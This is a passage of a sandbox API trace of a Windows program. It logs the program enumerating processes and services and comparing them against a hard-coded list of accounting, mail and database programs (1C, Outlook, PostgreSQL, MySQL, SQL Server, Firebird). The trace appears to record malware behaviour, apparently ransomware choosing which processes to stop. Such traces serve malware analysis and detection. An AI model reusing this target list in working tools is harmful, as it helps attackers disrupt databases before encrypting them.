[0278.769] lstrlenW (lpString="smss.exe") returned 8 [0278.769] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0278.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0278.769] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0278.769] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0278.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0278.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0278.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0278.769] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.770] lstrlenW (lpString="csrss.exe") returned 9 [0278.770] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0278.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0278.771] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0278.771] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0278.771] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0278.771] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0278.771] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0278.771] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.772] lstrlenW (lpString="wininit.exe") returned 11 [0278.772] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0278.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0278.772] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0278.772] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0278.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0278.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0278.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0278.772] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.773] lstrlenW (lpString="csrss.exe") returned 9 [0278.773] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0278.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0278.773] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0278.773] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0278.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0278.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0278.774] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.775] lstrlenW (lpString="winlogon.exe") returned 12 [0278.776] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.777] lstrlenW (lpString="services.exe") returned 12 [0278.777] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.778] lstrlenW (lpString="lsass.exe") returned 9 [0278.778] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0278.779] lstrlenW (lpString="lsm.exe") returned 7 [0278.779] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.780] lstrlenW (lpString="svchost.exe") returned 11 [0278.781] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.782] lstrlenW (lpString="svchost.exe") returned 11 [0278.782] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.783] lstrlenW (lpString="svchost.exe") returned 11 [0278.783] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.784] lstrlenW (lpString="svchost.exe") returned 11 [0278.784] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.785] lstrlenW (lpString="svchost.exe") returned 11 [0278.786] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.787] lstrlenW (lpString="audiodg.exe") returned 11 [0278.787] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.787] lstrlenW (lpString="svchost.exe") returned 11 [0278.788] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.788] lstrlenW (lpString="explorer.exe") returned 12 [0278.789] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.789] lstrlenW (lpString="dwm.exe") returned 7 [0278.790] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.790] lstrlenW (lpString="svchost.exe") returned 11 [0278.791] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0278.792] lstrlenW (lpString="winhost.exe") returned 11 [0278.792] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.793] lstrlenW (lpString="spoolsv.exe") returned 11 [0278.793] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.794] lstrlenW (lpString="svchost.exe") returned 11 [0278.794] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0278.795] lstrlenW (lpString="taskhost.exe") returned 12 [0278.795] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0278.796] lstrlenW (lpString="reader_sl.exe") returned 13 [0278.796] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.110] lstrlenW (lpString="taskhost.exe") returned 12 [0279.111] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0279.111] lstrlenW (lpString="consent.exe") returned 11 [0279.112] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0279.113] lstrlenW (lpString="dllhost.exe") returned 11 [0279.113] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0279.114] CloseHandle (hObject=0x2ec) returned 1 [0279.114] Sleep (dwMilliseconds=0x1f4) [0280.148] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0280.151] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0280.151] GetLastError () returned 0xea [0280.152] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x11e4) returned 0x42e5000 [0280.152] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x11e4, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0280.154] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0280.155] lstrlenW (lpString="Appinfo") returned 7 [0280.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0280.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0280.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0280.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0280.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0280.155] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0280.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0280.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0280.155] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0280.155] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0280.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0280.155] lstrlenW (lpString="AudioSrv") returned 8 [0280.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0280.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0280.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0280.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0280.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0280.156] lstrlenW (lpString="BFE") returned 3 [0280.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0280.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0280.156] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0280.156] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0280.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0280.156] lstrlenW (lpString="CryptSvc") returned 8 [0280.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0280.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0280.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0280.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0280.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0280.157] lstrlenW (lpString="CscService") returned 10 [0280.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0280.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0280.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0280.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0280.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0280.157] lstrlenW (lpString="DcomLaunch") returned 10 [0280.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0280.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0280.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0280.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0280.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0280.158] lstrlenW (lpString="Dhcp") returned 4 [0280.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0280.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0280.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0280.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0280.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0280.158] lstrlenW (lpString="Dnscache") returned 8 [0280.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0280.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0280.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0280.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0280.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0280.159] lstrlenW (lpString="DPS") returned 3 [0280.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0280.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0280.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0280.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0280.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0280.160] lstrlenW (lpString="eventlog") returned 8 [0280.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0280.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0280.160] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0280.160] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0280.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0280.160] lstrlenW (lpString="EventSystem") returned 11 [0280.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0280.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0280.160] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0280.160] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0280.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0280.160] lstrlenW (lpString="gpsvc") returned 5 [0280.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0280.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0280.161] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0280.161] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0280.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0280.162] lstrlenW (lpString="iphlpsvc") returned 8 [0280.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0280.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0280.163] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0280.163] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0280.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0280.163] lstrlenW (lpString="LanmanServer") returned 12 [0280.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0280.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0280.163] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0280.163] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0280.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0280.163] lstrlenW (lpString="LanmanWorkstation") returned 17 [0280.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0280.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0280.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0280.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0280.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0280.165] lstrlenW (lpString="lmhosts") returned 7 [0280.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0280.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0280.165] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0280.165] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0280.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0280.166] lstrlenW (lpString="MMCSS") returned 5 [0280.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0280.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0280.168] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0280.168] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0280.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0280.168] lstrlenW (lpString="MpsSvc") returned 6 [0280.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0280.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0280.168] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0280.168] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0280.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0280.168] lstrlenW (lpString="Netman") returned 6 [0280.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0280.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0280.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0280.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0280.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0280.169] lstrlenW (lpString="netprofm") returned 8 [0280.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0280.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0280.169] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0280.169] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0280.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0280.169] lstrlenW (lpString="NlaSvc") returned 6 [0280.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0280.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0280.170] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0280.170] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0280.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0280.170] lstrlenW (lpString="nsi") returned 3 [0280.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0280.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0280.170] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0280.170] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0280.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0280.170] lstrlenW (lpString="PcaSvc") returned 6 [0280.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0280.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0280.171] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0280.171] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0280.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0280.171] lstrlenW (lpString="PlugPlay") returned 8 [0280.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0280.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0280.171] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0280.171] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0280.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0280.172] lstrlenW (lpString="Power") returned 5 [0280.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0280.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0280.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0280.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0280.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0280.172] lstrlenW (lpString="ProfSvc") returned 7 [0280.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0280.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0280.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0280.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0280.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0280.173] lstrlenW (lpString="RpcEptMapper") returned 12 [0280.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0280.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0280.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0280.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0280.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0280.173] lstrlenW (lpString="RpcSs") returned 5 [0280.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0280.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0280.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0280.174] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0280.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 